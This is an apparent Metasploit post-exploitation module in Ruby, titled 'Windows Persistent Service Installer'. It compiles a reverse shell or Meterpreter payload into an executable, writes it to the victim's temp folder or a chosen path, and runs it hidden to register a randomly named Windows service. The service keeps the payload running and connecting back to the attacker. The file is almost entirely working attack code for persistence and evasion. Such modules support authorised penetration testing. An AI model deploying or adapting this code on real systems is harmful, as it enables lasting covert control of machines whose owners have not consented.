198 lines
6.8 KiB
Ruby
198 lines
6.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
require 'metasploit/framework/compiler/windows'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Common
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Priv
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Persistent Service Installer',
|
|
'Description' => %q{
|
|
This Module will generate and upload an executable to a remote host, next will make it a persistent service.
|
|
It will create a new service which will start the payload whenever the service is running. Admin or system
|
|
privilege is required.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Green-m <greenm.xxoo[at]gmail.com>' ],
|
|
'Platform' => [ 'windows' ],
|
|
'Targets' => [['Windows', {}]],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'DefaultTarget' => 0,
|
|
'References' => [
|
|
[ 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/external/source/metsvc/src/metsvc.cpp' ]
|
|
],
|
|
'DisclosureDate' => '2018-10-20',
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
core_channel_eof
|
|
core_channel_open
|
|
core_channel_read
|
|
core_channel_write
|
|
stdapi_sys_config_getenv
|
|
stdapi_sys_config_sysinfo
|
|
stdapi_sys_process_execute
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('RETRY_TIME', [false, 'The retry time that shell connect failed. 5 seconds as default.', 5 ]),
|
|
OptString.new('REMOTE_EXE_PATH', [false, 'The remote victim exe path to run. Use temp directory as default. ']),
|
|
OptString.new('REMOTE_EXE_NAME', [false, 'The remote victim name. Random string as default.']),
|
|
OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),
|
|
OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ])
|
|
]
|
|
)
|
|
end
|
|
|
|
# Run Method for when run command is issued
|
|
#-------------------------------------------------------------------------------
|
|
def exploit
|
|
unless is_system? || is_admin?
|
|
print_error("Insufficient privileges to create service")
|
|
return
|
|
end
|
|
|
|
unless datastore['PAYLOAD'] =~ %r#^windows/(shell|meterpreter)/reverse#
|
|
print_error("Only support for windows meterpreter/shell reverse staged payload")
|
|
return
|
|
end
|
|
|
|
print_status("Running module against #{sysinfo['Computer']}")
|
|
|
|
# Set variables
|
|
rexepath = datastore['REMOTE_EXE_PATH']
|
|
@retry_time = datastore['RETRY_TIME']
|
|
rexename = datastore['REMOTE_EXE_NAME'] || Rex::Text.rand_text_alpha(4..8)
|
|
@service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(4..8)
|
|
@service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..16)
|
|
|
|
# Add the windows pe suffix to rexename
|
|
unless rexename.end_with?('.exe')
|
|
rexename << ".exe"
|
|
end
|
|
|
|
host, _port = session.tunnel_peer.split(':')
|
|
@clean_up_rc = ""
|
|
|
|
buf = create_payload
|
|
vprint_status(buf)
|
|
metsvc_code = metsvc_template(buf)
|
|
bin = Metasploit::Framework::Compiler::Windows.compile_c(metsvc_code)
|
|
|
|
victim_path = write_exe_to_target(bin, rexename, rexepath)
|
|
install_service(victim_path)
|
|
|
|
clean_rc = log_file
|
|
file_local_write(clean_rc, @clean_up_rc)
|
|
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
|
|
|
|
report_note(host: host,
|
|
type: "host.persistance.cleanup",
|
|
data: {
|
|
local_id: session.sid,
|
|
stype: session.type,
|
|
desc: session.info,
|
|
platform: session.platform,
|
|
via_payload: session.via_payload,
|
|
via_exploit: session.via_exploit,
|
|
created_at: Time.now.utc,
|
|
commands: @clean_up_rc
|
|
})
|
|
end
|
|
|
|
def create_payload
|
|
p = payload.encoded
|
|
Msf::Simple::Buffer.transform(p, 'c', 'buf')
|
|
end
|
|
|
|
# Function for writing executable to target host
|
|
# Code from post/windows/manage/persistence_exe
|
|
#
|
|
def write_exe_to_target(rexe, rexename, rexepath)
|
|
# check if we have write permission
|
|
if rexepath
|
|
begin
|
|
temprexe = rexepath + "\\" + rexename
|
|
write_file_to_target(temprexe, rexe)
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
print_warning("Insufficient privileges to write in #{rexepath}, writing to %TEMP%")
|
|
temprexe = session.sys.config.getenv('TEMP') + "\\" + rexename
|
|
write_file_to_target(temprexe, rexe)
|
|
end
|
|
|
|
# Write to %temp% directory if not set REMOTE_EXE_PATH
|
|
else
|
|
temprexe = session.sys.config.getenv('TEMP') + "\\" + rexename
|
|
write_file_to_target(temprexe, rexe)
|
|
end
|
|
|
|
print_good("Meterpreter service exe written to #{temprexe}")
|
|
|
|
@clean_up_rc << "execute -H -i -f taskkill.exe -a \"/f /im #{rexename}\"\n" # Use interact to wait until the task ended.
|
|
@clean_up_rc << "rm \"#{temprexe.gsub("\\", "\\\\\\\\")}\"\n"
|
|
|
|
temprexe
|
|
end
|
|
|
|
def write_file_to_target(temprexe, rexe)
|
|
fd = session.fs.file.new(temprexe, "wb")
|
|
fd.write(rexe)
|
|
fd.close
|
|
end
|
|
|
|
# Function for creating log folder and returning log path
|
|
#-------------------------------------------------------------------------------
|
|
def log_file
|
|
# Get hostname
|
|
host = session.sys.config.sysinfo["Computer"]
|
|
|
|
# Create Filename info to be appended to downloaded files
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
|
|
|
# Create a directory for the logs
|
|
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
|
|
|
|
# Create the log directory
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
|
end
|
|
|
|
# Function to install payload as a service
|
|
#-------------------------------------------------------------------------------
|
|
def install_service(path)
|
|
print_status("Creating service #{@service_name}")
|
|
|
|
begin
|
|
session.sys.process.execute("cmd.exe /c \"#{path}\" #{@install_cmd}", nil, { 'Hidden' => true })
|
|
rescue ::Exception => e
|
|
print_error("Failed to install the service.")
|
|
print_error(e.to_s)
|
|
end
|
|
|
|
@clean_up_rc = "execute -H -f sc.exe -a \"delete #{@service_name}\"\n" + @clean_up_rc
|
|
@clean_up_rc = "execute -H -f sc.exe -a \"stop #{@service_name}\"\n" + @clean_up_rc
|
|
end
|
|
|
|
def metsvc_template(buf)
|
|
@install_cmd = Rex::Text.rand_text_alpha(4..8)
|
|
@start_cmd = Rex::Text.rand_text_alpha(4..8)
|
|
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'persistence_service', 'service.erb'))
|
|
ERB.new(template).result(binding)
|
|
end
|
|
end
|